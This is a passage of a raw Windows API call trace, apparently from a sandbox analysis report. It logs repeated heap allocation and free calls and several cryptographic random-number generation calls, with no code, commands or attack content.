hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.975] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.975] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.976] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511898 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511550 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff028 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511058 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5110e0 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5145a8 | out: hHeap=0x4f0000) returned 1 [0030.976] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511780 | out: hHeap=0x4f0000) returned 1 [0030.976] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.977] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.977] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.977] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.977] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.978] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.978] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.978] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.978] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.978] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.979] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.979] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.979] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.980] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.980] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.980] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.981] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.981] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.981] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.981] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.981] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.981] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.982] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.982] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.982] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.983] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.983] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.983] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.984] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.984] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.984] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.985] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.985] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.985] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.985] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.985] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.985] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.986] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.986] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.986] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.987] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.987] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.987] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.988] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.988] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.988] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.989] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.989] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.989] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.989] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.989] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.989] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.990] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.990] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.990] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.991] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.991] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.991] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.992] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.992] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.992] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.992] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.992] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.993] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.993] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.993] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.993] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.994] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.994] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.994] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.995] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.995] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.995] CryptAcquireContextW (in: phProv=0x44d7dc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d7dc*=0x511058) returned 1 [0030.995] CryptGenRandom (in: hProv=0x511058, dwLen=0x80, pbBuffer=0x44d7f0 | out: pbBuffer=0x44d7f0) returned 1 [0030.995] CryptReleaseContext (hProv=0x511058, dwFlags=0x0) returned 1 [0030.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511058 [0030.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x5110e0 [0030.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.996] CryptAcquireContextW (in: phProv=0x44d70c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x44d70c*=0x5111f0) returned 1 [0030.996] CryptGenRandom (in: hProv=0x5111f0, dwLen=0x80, pbBuffer=0x44d720 | out: pbBuffer=0x44d720) returned 1 [0030.996] CryptReleaseContext (hProv=0x5111f0, dwFlags=0x0) returned 1 [0030.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x5145a8 [0030.996] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.996] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514518 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x108) returned 0x511780 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x4) returned 0x516b98 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x511168 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x10c) returned 0x5111f0 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b98 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff028 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x84) returned 0x514e18 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511168 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511550 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x4ff040 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b98 | out: hHeap=0x4f0000) returned 1 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x88) returned 0x514e18 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x4ff040 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511898 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x514e18 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.997] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.997] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.998] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.998] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x8) returned 0x516b88 [0030.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x516b88 | out: hHeap=0x4f0000) returned 1 [0030.999] RtlAllocateHeap 